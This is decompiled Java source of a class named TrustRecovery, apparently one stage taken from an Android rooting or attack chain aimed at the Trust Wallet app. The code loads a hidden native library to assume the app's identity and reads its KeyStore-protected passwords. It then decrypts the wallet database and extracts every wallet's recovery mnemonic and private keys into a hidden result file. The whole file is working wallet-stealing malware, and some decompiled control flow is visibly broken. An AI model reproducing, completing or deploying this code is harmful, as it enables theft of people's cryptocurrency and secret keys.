package defpackage;

import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.os.Looper;
import dalvik.system.DexClassLoader;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
import java.security.Key;
import java.security.KeyStore;
import java.util.Arrays;
import java.util.Iterator;
import java.util.List;
import javax.crypto.Cipher;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import org.json.JSONArray;
import org.json.JSONObject;

/* JADX INFO: loaded from: /tmp/dfroot_chain/extracted_local_chain/05_agents/trust-recovery.dex */
public class TrustRecovery {
    private static final String FILES = "/data/data/com.wallet.crypto.trustapp/files/";
    private static final String PACKAGE = "com.wallet.crypto.trustapp";

    private static native int assumeIdentity();

    private static byte[] read(String str) throws Exception {
        FileInputStream fileInputStream = new FileInputStream(str);
        try {
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            try {
                byte[] bArr = new byte[16384];
                while (true) {
                    int i = fileInputStream.read(bArr);
                    if (i < 0) {
                        byte[] byteArray = byteArrayOutputStream.toByteArray();
                        byteArrayOutputStream.close();
                        fileInputStream.close();
                        return byteArray;
                    }
                    if (i > 0) {
                        byteArrayOutputStream.write(bArr, 0, i);
                    }
                    try {
                        fileInputStream.close();
                    } catch (Throwable th) {
                        th.addSuppressed(th);
                    }
                    throw th;
                }
            } catch (Throwable th2) {
                try {
                    byteArrayOutputStream.close();
                } catch (Throwable th3) {
                    th2.addSuppressed(th3);
                }
                throw th2;
            }
        } catch (Throwable th4) {
            fileInputStream.close();
            throw th4;
        }
    }

    private static Object call(Object obj, String str, Object... objArr) throws Exception {
        IllegalArgumentException e = null;
        for (Method method : obj.getClass().getMethods()) {
            if (method.getName().equals(str) && method.getParameterCount() == objArr.length) {
                try {
                    method.setAccessible(true);
                    return method.invoke(obj, objArr);
                } catch (IllegalArgumentException e2) {
                    e = e2;
                }
            }
        }
        throw ((NoSuchMethodException) new NoSuchMethodException(str + "/" + objArr.length).initCause(e));
    }

    private static Object callStatic(Class<?> cls, String str, Object... objArr) throws Exception {
        IllegalArgumentException e = null;
        for (Method method : cls.getMethods()) {
            if (method.getName().equals(str) && method.getParameterCount() == objArr.length) {
                try {
                    method.setAccessible(true);
                    return method.invoke(null, objArr);
                } catch (IllegalArgumentException e2) {
                    e = e2;
                }
            }
        }
        throw ((NoSuchMethodException) new NoSuchMethodException(cls.getName() + "." + str + "/" + objArr.length).initCause(e));
    }

    private static String error(Throwable th) {
        if (th instanceof InvocationTargetException) {
            InvocationTargetException invocationTargetException = (InvocationTargetException) th;
            if (invocationTargetException.getTargetException() != null) {
                th = invocationTargetException.getTargetException();
            }
        }
        return th.getClass().getName() + ": " + th.getMessage();
    }

    private static Context trustContext() throws Exception {
        Method declaredMethod = Class.forName("android.app.ActivityThread").getDeclaredMethod("systemMain", new Class[0]);
        declaredMethod.setAccessible(true);
        return (Context) Context.class.getMethod("createPackageContext", String.class, Integer.TYPE).invoke(call(declaredMethod.invoke(null, new Object[0]), "getSystemContext", new Object[0]), PACKAGE, 3);
    }

    private static ClassLoader trustLoader(Context context) {
        ApplicationInfo applicationInfo = context.getApplicationInfo();
        StringBuilder sb = new StringBuilder(applicationInfo.sourceDir);
        if (applicationInfo.splitSourceDirs != null) {
            for (String str : applicationInfo.splitSourceDirs) {
                sb.append(File.pathSeparator).append(str);
            }
        }
        return new DexClassLoader(sb.toString(), null, applicationInfo.nativeLibraryDir, ClassLoader.getSystemClassLoader());
    }

    private static void installKeyStore() throws Exception {
        Method declaredMethod = Class.forName("android.security.keystore2.AndroidKeyStoreProvider").getDeclaredMethod("install", new Class[0]);
        declaredMethod.setAccessible(true);
        declaredMethod.invoke(null, new Object[0]);
    }

    private static byte[] readPassword(String str) throws Exception {
        String lowerCase = str.toLowerCase();
        KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
        keyStore.load(null);
        try {
            Key key = keyStore.getKey(lowerCase + "_gcm", null);
            if (key == null) {
                throw new IllegalStateException("missing GCM alias");
            }
            Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
            cipher.init(2, key, new GCMParameterSpec(128, read(FILES + lowerCase + ".v2iv")));
            return cipher.doFinal(read(FILES + lowerCase + ".v2"));
        } catch (Throwable th) {
            try {
                Key key2 = keyStore.getKey(lowerCase, null);
                if (key2 == null) {
                    throw new IllegalStateException("missing CBC alias");
                }
                Cipher cipher2 = Cipher.getInstance("AES/CBC/PKCS7Padding");
                cipher2.init(2, key2, new IvParameterSpec(read(FILES + lowerCase + "iv")));
                return cipher2.doFinal(read(FILES + lowerCase));
            } catch (Throwable th2) {
                throw new IllegalStateException("KeyStore password read failed: " + error(th) + "; " + error(th2));
            }
        }
    }

    private static byte[] realmKey(ClassLoader classLoader) throws Exception {
        byte[] password = readPassword("dbkey");
        Object objNewInstance = classLoader.loadClass("org.bouncycastle.jcajce.provider.digest.Keccak$Digest512").getDeclaredConstructor(new Class[0]).newInstance(new Object[0]);
        call(objNewInstance, "update", password, 0, Integer.valueOf(password.length));
        return (byte[]) call(objNewInstance, "engineDigest", new Object[0]);
    }

    private static Object openRealm(ClassLoader classLoader, byte[] bArr) throws Exception {
        Class<?> clsLoadClass = classLoader.loadClass("io.realm.RealmConfiguration$Builder");
        Class<?> clsLoadClass2 = classLoader.loadClass("io.realm.RealmConfiguration");
        Class<?> clsLoadClass3 = classLoader.loadClass("io.realm.DynamicRealm");
        Throwable th = null;
        int i = 64;
        while (i >= -1) {
            int i2 = i == 64 ? 32 : i;
            if (i2 < 0) {
                break;
            }
            try {
                return clsLoadClass3.getMethod("getInstance", clsLoadClass2).invoke(null, call(call(call(call(call(clsLoadClass.getDeclaredConstructor(new Class[0]).newInstance(new Object[0]), "name", "wallets_info"), "schemaVersion", Long.valueOf(i2)), "allowQueriesOnUiThread", true), "encryptionKey", bArr), "build", new Object[0]));
            } catch (Throwable th2) {
                th = th2;
                i--;
            }
        }
        throw new IllegalStateException("cannot open Realm", th);
    }

    private static String string(Object obj, String str, String str2) {
        try {
            Object objCall = call(obj, "getString", str);
            if (objCall != null) {
                return String.valueOf(objCall);
            }
        } catch (Throwable unused) {
        }
        return str2;
    }

    private static int integer(Object obj, String str, int i) {
        try {
            Object objCall = call(obj, "getInt", str);
            if (objCall != null) {
                return ((Number) objCall).intValue();
            }
        } catch (Throwable unused) {
        }
        return i;
    }

    private static byte[] blob(Object obj, String str) {
        try {
            return (byte[]) call(obj, "getBlob", str);
        } catch (Throwable unused) {
            return null;
        }
    }

    private static List<?> accounts(Object obj) {
        try {
            return (List) call(obj, "getList", "accounts");
        } catch (Throwable unused) {
            return null;
        }
    }

    private static String hex(byte[] bArr) {
        StringBuilder sb = new StringBuilder(bArr.length * 2);
        for (byte b : bArr) {
            sb.append(String.format("%02x", Integer.valueOf(b & 255)));
        }
        return sb.toString();
    }

    private static byte[] decryptWallet(ClassLoader classLoader, byte[] bArr, byte[] bArr2) throws Exception {
        boolean z = false;
        if (bArr2.length > 0 && bArr2[0] == 2) {
            z = true;
        }
        Class<?> clsLoadClass = classLoader.loadClass("org.bouncycastle.crypto.generators.SCrypt");
        if (z) {
            if (bArr2.length < 61) {
                throw new IllegalArgumentException("unsupported GCM data format");
            }
            byte[] bArrCopyOfRange = Arrays.copyOfRange(bArr2, 1, 33);
            byte[] bArrCopyOfRange2 = Arrays.copyOfRange(bArr2, 33, 45);
            byte[] bArrCopyOfRange3 = Arrays.copyOfRange(bArr2, 45, bArr2.length);
            byte[] bArr3 = (byte[]) callStatic(clsLoadClass, "generate", bArr, bArrCopyOfRange, 8192, 8, 1, 32);
            Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
            cipher.init(2, new SecretKeySpec(bArr3, "AES"), new GCMParameterSpec(128, bArrCopyOfRange2));
            return cipher.doFinal(bArrCopyOfRange3);
        }
        byte[] bArr4 = new byte[32];
        byte[] bArr5 = new byte[16];
        Arrays.fill(bArr4, (byte) 115);
        Arrays.fill(bArr5, (byte) 105);
        byte[] bArr6 = (byte[]) callStatic(clsLoadClass, "generate", bArr, bArr4, 512, 8, 1, 32);
        byte[] bArr7 = (byte[]) callStatic(clsLoadClass, "generate", bArr, bArr5, 512, 8, 1, 16);
        Cipher cipher2 = Cipher.getInstance("AES/CBC/PKCS7Padding");
        cipher2.init(2, new SecretKeySpec(bArr6, "AES"), new IvParameterSpec(bArr7));
        return cipher2.doFinal(bArr2);
    }

    private static JSONObject recover() throws Exception {
        String str;
        Object obj;
        Object obj2;
        String str2;
        String str3;
        String str4;
        int i;
        List list;
        String str5;
        String str6;
        String str7;
        String strString;
        Object objInvoke;
        String str8 = "encryptionVersion";
        String str9 = "name";
        String str10 = "";
        String str11 = "id";
        String str12 = "close";
        Looper.prepareMainLooper();
        Context contextTrustContext = trustContext();
        ClassLoader classLoaderTrustLoader = trustLoader(contextTrustContext);
        System.load("/data/local/tmp/.dftrust-launcher.so");
        int iAssumeIdentity = assumeIdentity();
        if (iAssumeIdentity != 0) {
            throw new IllegalStateException("identity error=" + iAssumeIdentity);
        }
        String str13 = contextTrustContext.getApplicationInfo().nativeLibraryDir + "/";
        Class<?> clsLoadClass = classLoaderTrustLoader.loadClass("com.trustwallet.core.HDWallet");
        Method declaredMethod = Runtime.class.getDeclaredMethod("nativeLoad", String.class, ClassLoader.class, Class.class);
        declaredMethod.setAccessible(true);
        String[] strArr = {"libpairipcore.so", "libTrustWalletCore.so"};
        int i2 = 0;
        for (int i3 = 2; i2 < i3; i3 = 2) {
            String str14 = strArr[i2];
            Context context = contextTrustContext;
            int i4 = i2;
            if (new File(str13 + str14).isFile() && (objInvoke = declaredMethod.invoke(Runtime.getRuntime(), str13 + str14, classLoaderTrustLoader, clsLoadClass)) != null) {
                throw new UnsatisfiedLinkError(String.valueOf(objInvoke));
            }
            i2 = i4 + 1;
            contextTrustContext = context;
        }
        callStatic(classLoaderTrustLoader.loadClass("io.realm.Realm"), "init", contextTrustContext);
        installKeyStore();
        JSONArray jSONArray = new JSONArray();
        try {
            Object objOpenRealm = openRealm(classLoaderTrustLoader, realmKey(classLoaderTrustLoader));
            try {
                List list2 = (List) call(call(objOpenRealm, "where", "RealmWallet"), "findAll", new Object[0]);
                Class<?> clsLoadClass2 = classLoaderTrustLoader.loadClass("com.trustwallet.core.Mnemonic");
                Class<?> clsLoadClass3 = classLoaderTrustLoader.loadClass("com.trustwallet.core.HDWallet");
                Class<?> clsLoadClass4 = classLoaderTrustLoader.loadClass("com.trustwallet.core.CoinType");
                Object objCallStatic = callStatic(clsLoadClass4, "valueOf", "Tron");
                int i5 = 0;
                while (i5 < list2.size()) {
                    String str15 = str12;
                    try {
                        JSONObject jSONObject = new JSONObject();
                        jSONObject.put("index", i5);
                        try {
                            Object obj3 = list2.get(i5);
                            i = i5;
                            try {
                                try {
                                    String strString2 = string(obj3, str11, str10);
                                    if (strString2.isEmpty()) {
                                        throw new IllegalStateException("wallet id is missing");
                                    }
                                    jSONObject.put(str11, strString2);
                                    str4 = str11;
                                    try {
                                        jSONObject.put(str9, string(obj3, str9, str10));
                                        str2 = str9;
                                        try {
                                            jSONObject.put(str8, integer(obj3, str8, 0));
                                            List<?> listAccounts = accounts(obj3);
                                            if (listAccounts != null) {
                                                try {
                                                    Iterator<?> it = listAccounts.iterator();
                                                    str5 = null;
                                                    String strString3 = null;
                                                    while (it.hasNext()) {
                                                        str8 = str8;
                                                        try {
                                                            Object next = it.next();
                                                            Iterator<?> it2 = it;
                                                            str3 = str10;
                                                            try {
                                                                int iInteger = integer(next, "coinType", -1);
                                                                String str16 = str5;
                                                                if (iInteger == 195) {
                                                                    str7 = null;
                                                                    try {
                                                                        strString = string(next, "address", null);
                                                                    } catch (Throwable th) {
                                                                        th = th;
                                                                    }
                                                                } else {
                                                                    str7 = null;
                                                                    strString = str16;
                                                                }
                                                                String str17 = strString2;
                                                                if (iInteger == 501) {
                                                                    strString3 = string(next, "address", str7);
                                                                }
                                                                str5 = strString;
                                                                str8 = str8;
                                                                it = it2;
                                                                str10 = str3;
                                                                strString2 = str17;
                                                            } catch (Throwable th2) {
                                                                th = th2;
                                                            }
                                                        } catch (Throwable th3) {
                                                            th = th3;
                                                            str3 = str10;
                                                            obj2 = objOpenRealm;
                                                            list = list2;
                                                            jSONObject.put("error", error(th));
                                                            jSONArray.put(jSONObject);
                                                            i5 = i + 1;
                                                            str12 = str15;
                                                            str11 = str4;
                                                            str9 = str2;
                                                            list2 = list;
                                                            str8 = str8;
                                                            objOpenRealm = obj2;
                                                            str10 = str3;
                                                        }
                                                    }
                                                    str8 = str8;
                                                    str3 = str10;
                                                    str6 = strString3;
                                                } catch (Throwable th4) {
                                                    th = th4;
                                                    str8 = str8;
                                                }
                                            } else {
                                                str8 = str8;
                                                str3 = str10;
                                                str6 = null;
                                                str5 = null;
                                            }
                                            String str18 = strString2;
                                            byte[] bArrBlob = blob(obj3, "dataGcm");
                                            if (bArrBlob == null || bArrBlob.length == 0) {
                                                bArrBlob = blob(obj3, "data");
                                            }
                                            if (bArrBlob == null || bArrBlob.length == 0) {
                                                throw new IllegalStateException("wallet data is missing");
                                            }
                                            list = list2;
                                            try {
                                                jSONObject.put("dataVersion", (int) bArrBlob[0]);
                                                byte[] password = readPassword(str18);
                                                obj2 = objOpenRealm;
                                                try {
                                                    if (str18.toUpperCase().contains("KEY_STORE")) {
                                                        byte[] bArrBlob2 = blob(obj3, "data");
                                                        if (bArrBlob2 == null || bArrBlob2.length == 0) {
                                                            throw new IllegalStateException("StoredKey data is missing");
                                                        }
                                                        Object objCallStatic2 = callStatic(classLoaderTrustLoader.loadClass("com.trustwallet.core.StoredKey"), "importJSON", bArrBlob2);
                                                        Object objCallStatic3 = callStatic(clsLoadClass4, "valueOf", "Solana");
                                                        Object objCall = call(objCallStatic2, "privateKey", objCallStatic3, password);
                                                        String str19 = (String) call(objCallStatic3, "deriveAddress", objCall);
                                                        jSONObject.put("solanaAddress", str19);
                                                        jSONObject.put("privateKey", hex((byte[]) call(objCall, "data", new Object[0])));
                                                        jSONObject.put("validPrivateKey", true);
                                                        if (str6 != null) {
                                                            jSONObject.put("solanaAddressMatches", str6.equals(str19));
                                                            if (!str6.equals(str19)) {
                                                                throw new IllegalStateException("derived Solana address does not match");
                                                            }
                                                        }
                                                    } else {
                                                        String strTrim = new String(decryptWallet(classLoaderTrustLoader, password, bArrBlob), StandardCharsets.UTF_8).trim();
                                                        if (!((Boolean) callStatic(clsLoadClass2, "isValid", strTrim)).booleanValue()) {
                                                            throw new IllegalStateException("decrypted data is not a valid mnemonic");
                                                        }
                                                        jSONObject.put("mnemonic", strTrim);
                                                        jSONObject.put("wordCount", strTrim.split("\\s+").length);
                                                        try {
                                                            Class<?>[] clsArr = new Class[1];
                                                            clsArr[0] = String.class;
                                                            String str20 = (String) call(clsLoadClass3.getDeclaredConstructor(clsArr).newInstance(strTrim), "getAddressForCoin", objCallStatic);
                                                            jSONObject.put("tronAddress", str20);
                                                            if (str5 != null) {
                                                                jSONObject.put("tronAddressMatches", str5.equals(str20));
                                                                if (!str5.equals(str20)) {
                                                                    throw new IllegalStateException("derived TRON address does not match");
                                                                }
                                                            }
                                                            jSONObject.put("validMnemonic", true);
                                                        } catch (Throwable th5) {
                                                            th = th5;
                                                            jSONObject.put("error", error(th));
                                                        }
                                                    }
                                                } catch (Throwable th6) {
                                                    th = th6;
                                                }
                                            } catch (Throwable th7) {
                                                th = th7;
                                                obj2 = objOpenRealm;
                                            }
                                            jSONArray.put(jSONObject);
                                            i5 = i + 1;
                                            str12 = str15;
                                            str11 = str4;
                                            str9 = str2;
                                            list2 = list;
                                            str8 = str8;
                                            objOpenRealm = obj2;
                                            str10 = str3;
                                        } catch (Throwable th8) {
                                            th = th8;
                                            str3 = str10;
                                        }
                                    } catch (Throwable th9) {
                                        th = th9;
                                        str2 = str9;
                                    }
                                } catch (Throwable th10) {
                                    th = th10;
                                    str8 = str8;
                                    str2 = str9;
                                    str3 = str10;
                                    str4 = str11;
                                }
                                jSONObject.put("error", error(th));
                                jSONArray.put(jSONObject);
                                i5 = i + 1;
                                str12 = str15;
                                str11 = str4;
                                str9 = str2;
                                list2 = list;
                                str8 = str8;
                                objOpenRealm = obj2;
                                str10 = str3;
                            } catch (Throwable th11) {
                                th = th11;
                                str = str15;
                                obj = obj2;
                                if (obj != null) {
                                    call(obj, str, new Object[0]);
                                }
                                throw th;
                            }
                        } catch (Throwable th12) {
                            th = th12;
                            str8 = str8;
                            str2 = str9;
                            str3 = str10;
                            str4 = str11;
                            i = i5;
                        }
                        obj2 = objOpenRealm;
                        list = list2;
                    } catch (Throwable th13) {
                        th = th13;
                        obj2 = objOpenRealm;
                    }
                }
                String str21 = str12;
                Object obj4 = objOpenRealm;
                if (obj4 != null) {
                    call(obj4, str21, new Object[0]);
                }
                return new JSONObject().put("wallets", jSONArray);
            } catch (Throwable th14) {
                th = th14;
                str = str12;
                obj = objOpenRealm;
            }
        } catch (Throwable th15) {
            th = th15;
            str = "close";
            obj = null;
        }
    }

    public static void main(String[] strArr) {
        String string;
        try {
            string = recover().toString();
        } catch (Throwable th) {
            string = "{\"error\":" + JSONObject.quote(error(th)) + "}";
        }
        try {
            FileOutputStream fileOutputStream = new FileOutputStream("/data/data/com.wallet.crypto.trustapp/files/.dftrust-result");
            try {
                fileOutputStream.write(string.getBytes(StandardCharsets.UTF_8));
                fileOutputStream.close();
                System.exit(0);
            } catch (Throwable th2) {
                try {
                    fileOutputStream.close();
                } catch (Throwable th3) {
                    th2.addSuppressed(th3);
                }
                throw th2;
            }
        } catch (Throwable unused) {
            System.err.println(string);
        }
    }
}
